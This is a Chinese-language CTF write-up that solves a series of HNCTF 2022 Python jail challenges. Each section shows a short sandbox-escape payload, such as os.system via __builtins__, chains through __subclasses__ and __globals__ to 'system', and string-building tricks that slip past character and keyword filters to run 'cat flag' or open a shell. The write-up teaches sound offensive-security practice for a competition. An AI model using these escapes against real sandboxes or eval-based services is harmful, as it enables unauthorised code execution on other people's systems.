[HNCTF 2022 Week1]calc_jail_beginner(JAIL)
没有任何的限制
1 | __builtins__.__import__('os').system('cat flag') |
经典payload打了即可
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)
题目
1 | #the function of filter will banned some string ',",i,b |
注意到
1 | def filter(s): |
不允许出现这些字符
拉蒙特徐之前敲打过的,chr构造payload来进行绕过
由前面的经验,应该是在flag目录下,直接构造一个payload,改成chr的payload
1 | open(chr(102)+chr(108)+chr(97)+chr(103)).read() |
[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)
经典6字符长度绕过
help()直接打即可(前面的博客有说明,可自行查阅)
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)
1 | #the length is be limited less than 13 |
12字符的限制
那很经典了
1 | exec(input()) |
然后我们可以输入自己需要的payload
这里直接打经典payload
1 | __builtins__.__import__('os').system('cat flag') |
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)
1 | #the length is be limited less than 13 |
breakpoint绕过即可,可以查看我前面的博客
[HNCTF 2022 Week1]python2 input(JAIL)
1 | # It's escape this repeat! |
我擦,python2啊
那就有一个不得不提到的特性了
input() 在 Python 2 会 把用户输入当成 Python 代码执行(等同 eval)
直接打链子
1 | __import__("os").system("cat flag") |
[HNCTF 2022 Week1]lake lake lake(JAIL)
1 | #it seems have a backdoor |
有点意思,连一下题目看看
1 | └─$ nc node5.anna.nssctf.cn 20335 |
有两个主要的通道,先走1看一下
1 | def func(): |
这里可以任意执行9字符,然后看backdoor,我们应该是要得到一个密钥,然后走backdoor
那我们直接用globals来读密钥即可
1 | >globals() |
有了密钥之后直接按代码逻辑走backdoor即可
1 | 1.func |
[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)
1 | #it seems have a backdoor as `lake lake lake` |
只能任意执行6字符
6字符就能想到是help()
但是不能执行globals()
这里Google了一下,server和__main__都可以查看到全局变量
1 | help> server |
整到了key,后面就很好整了
[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)
1 | #No danger function,no chr,Try to hack me!!!! |
被ban了好多东西,包括我们的chr,但是他这里没对unicode做出明确限制(没有ASCII过滤),一般来说都可以尝试unicode绕过
但是由于太通用,一般都是会被ban的,所以我们这里还是用str和bytes([]).decode来绕过
payload
1 | open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read() |
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
这题怎么没附件了?纯黑盒?
1 | └─$ nc node5.anna.nssctf.cn 26453 |
连接之后发现有ban名单,但是依旧没有ban我们上题的两个函数,那么上题的payload直接打即可
或者说想要执行system(“cat flag”),就打如下payload
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()) |
也就是
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__['system']('cat flag') |
这个传统链子
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)
1 | └─$ nc node5.anna.nssctf.cn 20570 |
没ban str
也是经典payload了
丸辣,flag这个目录不存在,那我们只能执行系统命令去ls看一下目录了
具体的绕过方法为
- type获取bytes
众所周知:bytes = type(str(1).encode())
那么很容易就可以构造出payload
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode()) |
可以执行ls,同理也可以执行cat等
- 利用Show subclasses with tuple找到bytes类
1 | ().__class__.__base__.__subclasses__() |
直接查看发现bytes类的索引是6,那么构造链子
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode()) |
直接进sh执行系统命令
- [].__doc__获取字符
这个应该是这里面最传统的方法了
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56]) |
有不懂的可以自行AI
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)
连接发现+被ban
那么就用
1 | .__add__ |
来绕过
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([108]).__add__(type(str(1).encode())([115]))).decode()) |
然后就
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode()) |
或者说上一题的方法二直接打即可
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)
1 | └─$ nc node5.anna.nssctf.cn 26555 |
ez,找bytes类索引的方法还是没被ban,所以上上题的方法还是可以打
这里补充一种新的方法
list(dict(system=114514))[0]可以获取system这个字符串
那么我们不用传统方法而使用这种方法构造出system和sh就简单很多了
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0]) |
[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)
1 | └─$ nc node5.anna.nssctf.cn 20449 |
提示说要用dir()
1 | └─$ nc node5.anna.nssctf.cn 20449 |
包含这么多类与方法,应该是一个字符串,那找找有没有可以直接输出的方法
一直跟进之后发现在my_flag.flag_level5中包含了encode方法
那就直接输出吧
1 | └─$ nc node5.anna.nssctf.cn 20449 |
[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)
方法和上一题一样
[HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)
看看源码
1 | #You finsih these two challenge of leak |
有意思,建了一个审计钩子,意图检测并禁止若干审计事件
这里得要搞定random才行,我不太懂,看看wp
1 | [rnd:=__import__('random'), |
数是random.randint生成的,所以只要拿到random的state就能还原出这个数
然后我们需要去搞定state,这里用海象表达式搞出来了多行输入,但是后面的原理还是不太明白,具体的等稍后再去分析